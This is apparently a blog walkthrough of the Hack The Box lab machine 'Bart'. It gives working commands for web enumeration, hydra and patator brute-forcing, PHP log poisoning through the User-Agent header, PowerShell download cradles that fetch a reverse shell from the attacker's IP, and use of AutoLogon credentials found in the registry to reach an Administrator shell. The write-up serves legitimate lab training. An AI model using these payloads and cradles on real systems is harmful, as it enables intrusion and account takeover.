Hack the Box Write-up #7: Bart
After doing a couple more machines on Hack The Box, Bart was one that I definitely wanted to do a write-up for.
We start with a bunch of web enumeration and discovering different directories and hostnames. Eventually, we discover a chat application, register our own user and do log poisoning to get our first low priv shell. Privilege escalation to Administrator is then accomplished by identifying AutoLogon credentials stored in the registry. On the way we read some source code, learn about 32/64-bit registry queries and running commands in a different user context.
Recon and Enumeration
Our initial nmap -sC -sV -oN nmap/init 10.10.10.81
gives:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Since we only discovered one port (80), we do another scan for all ports (nmap -p-
) while having a first look at the site running at 10.10.10.81.
We get a Location: http://forum.bart.htb/
header back. After adding the hostnames forum.bart.htb
and bart.htb
to /etc/hosts
we are presented with the following site:
The site gives us some interesting information about employee’s names and email addresses. Additionally, another employee entry for “Harvey Potter” is commented out in the HTML source.
<!-- <div class="owl-item" style="width: 380px;"><div class="team-item">
<div class="team-inner">
<div class="pop-overlay">
<div class="team-pop">
<div class="team-info">
<div class="name">Harvey Potter</div>
<div class="pos">Developer@BART</div>
[...]
-->
From the HTTP headers we also learn that we’re dealing with a relatively modern Windows 2016/2019/10 (IIS 10 server header) and a PHP 7.1.7 installation.
The next step is to brute-force directories. It’s a little bit more involved this time as every request to the server returns a 200 status. To get around this, we’ll use wfuzz
and filter by the number of characters of the returned data:
wfuzz --hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ
.
After a while we discover the /monitor
directory:
000000067: 301 1 L 10 W 145 Ch "forum"
000001614: 301 1 L 10 W 147 Ch "monitor"
Going to http://bart.htb/monitor/
gives us a “PHP Server Monitor” instance. A quick search for public exploits reveals nothing relevant for our use case. What we can do, however, is enumerating usernames via the “Forgot Password” feature. The obvious first thing to try are the employee names that we noted down earlier.
Brute-forcing our way in
Once we know that Daniel and Harvey are valid usernames, we can try brute-forcing the password. While CSRF tokens usually make it a bit harder as we would need to fetch the updated token for every request, in this case we can get around it by just passing the same token and a valid cookie header.
hydra -L users.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-25.txt "http-post-form://bart.htb/monitor/:csrf=43aa9be1c2751cd82f916413a9d6696b501a075b0bd0a818c3a126e5aa6f809f&user_name=^USER^&user_password=^PASS^&action=login:incorrect:H=Cookie\:PHPSESSID=utstuc3mhm4glhnre75qao4t59"
After a couple of minutes, we successfully discover the password – one that we could have also guessed in the first place, I’d say :-)
[80][http-post-form] host: bart.htb login: Harvey password: potter
Logging in with the creds redirects us to monitor.bart.htb
, so let’s also add this hostname to our /etc/hosts/
file.
Once logged in we discover yet another hostname: http://internal-01.bart.htb/
. Let’s add this one as well and navigate there.
We land at another login prompt. This time for a “simple_chat” application.
Exploiting the left over “register.php” – or: just brute-force again
Googling for a few file names of the application, we quickly discover that this is the source code: https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat
Skimming through the code, we don’t find anything too obvious in the login logic (the sql query looks vulnerable at first sight but is not, as the password is hashed before being included in the query and the username validation also strips quotes before).
However, we could look into just creating a new user ourselves; the register_form.php
was apparently deleted on the server, but nothing stops us from sending a POST to register.php, which still exists:
POST /simple_chat/register.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal-01.bart.htb/simple_chat/login_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=7v28h3a0rk34cg5el3ggmvg60p
Upgrade-Insecure-Requests: 1
uname=itsme&passwd=itsokletmein&submit=Login
An alternative approach would be to brute-force the login once more; this time it requires a slightly larger wordlist, but is still doable. As hydra was running a bit slow last time, let’s use patator
this time and start only with Harvey as username:
patator http_fuzz url=http://internal-01.bart.htb/simple_chat/login.php method=POST body='uname=Harvey&passwd=FILE0&submit=Login' 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt -x ignore:fgrep='Location: login_form.php'
After about 2 minutes we get a hit:
patator INFO - 302 354:0 1.051 | Password1 | 3502 | HTTP/1.1 302 Found
Logging in, we see a chat and a log button at the top right:
Log poisoning to reverse shell
Clicking on “log” makes a XHR to:
/log/log.php?filename=log.txt&username=harvey
Going to http://internal-01.bart.htb/log/log.txt
, we can see that the log.txt file was created and includes the given username and our User-Agent header.
So let’s try changing the file to “rce.php” and adding PHP code to the User-Agent header:
Sending:
GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo 1+1; ?>
And then requesting /log/rce.php HTTP/1.1
gives us the following output (the number 2 being our executed code 1+1):
[2020-03-21 20:54:43] - harvey - 2
Now that we can execute code by poisoning the log file, let’s prepare to get a reverse shell. I’ll use the “mini-reverse.ps1” from https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5.
To get the shell, we adjust mini-reverse.ps1
with our IP and desired port number, host it (python3 -m http.server 80
), start a netcat listener (nc -lvnp 443
), and then use a powershell download cradle inside the PHP code in the User-Agent header:
GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system("powershell -c iex (new-object net.webclient).downloadstring('http://10.10.14.37/mini-reverse.ps1')"); ?>
Doing another GET /log/rce.php HTTP/1.1
will now execute our code, download mini-reverse.ps1 and initiate our connect-back shell.
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50173.
whoami
nt authority\iusr
Escalate to Administrator
After a few manual checks, we can run an privesc enumeration script like winPEAS or PowerUp.
powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"
If we run PowerUp or the winPEAS.bat like above, however, we’ll likely miss a few things (namely registry settings), because we’re on a 64-bit system but running 32-bit PowerShell, as confirmed like so:
powershell.exe -c "[Environment]::Is64BitProcess"
False
To do enumeration in a 64-bit process we could either download and execute something like the winPEAS.exe binary or run an enumeration script by explicitly callling the 64-bit version of PowerShell:
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "[Environment]::Is64BitProcess"
True
So let’s run PowerUp again:
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"
This time we get a very obvious privilege escalation hint:
[*] Checking for Autologon credentials in registry...
DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb
If you’d wanted to read the registry values without PowerShell, you would naturally also need to specify the architecture:
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword
…won’t give you anything, whereas…
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64
… will give you what you want (note /reg:64
).
Getting only the flag or a full admin shell
The stored AutoLogon credentials already give us everything we need to root the box. We can now either just read the root flag or go ahead and get a full Administrator shell.
Let’s first try to read the root flag with our current shell. To do that, we can just run Get-Content
as the Administrator user (see my previous blog post: Running commands in a specific user context in PowerShell):
powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\Administrator\Desktop\root.txt } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"
0074a38e6e...
Now, to get a proper Adminstrator shell, using PSExec and passing the creds is usually an easy way to go. We have one problem here, though: while the machine is listening on 135/445, the firewall doesn’t let us in. To get around a situation like this, we could open the port in the firewall (nah, not cool) or proxy the connection through another session (e.g. psexec through proxychains with meterpreter’s socks4a module), or just use what we’re already using: another Invoke-Command as Admin, but this time to load our reverse shell script again.
Starting our netcat listener again like before (using 443 once more so that we don’t need to change the script), we receive our administrator reverse shell:
powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://10.10.14.37/mini-reverse.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"
And here we go:
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50896.
whoami
bart\administrator
Cheers!
I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to leave a comment. I’m always happy to learn new things. You can also check out the other write-ups.
Like to comment? Feel free to send me an email or reach out on Twitter.
Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.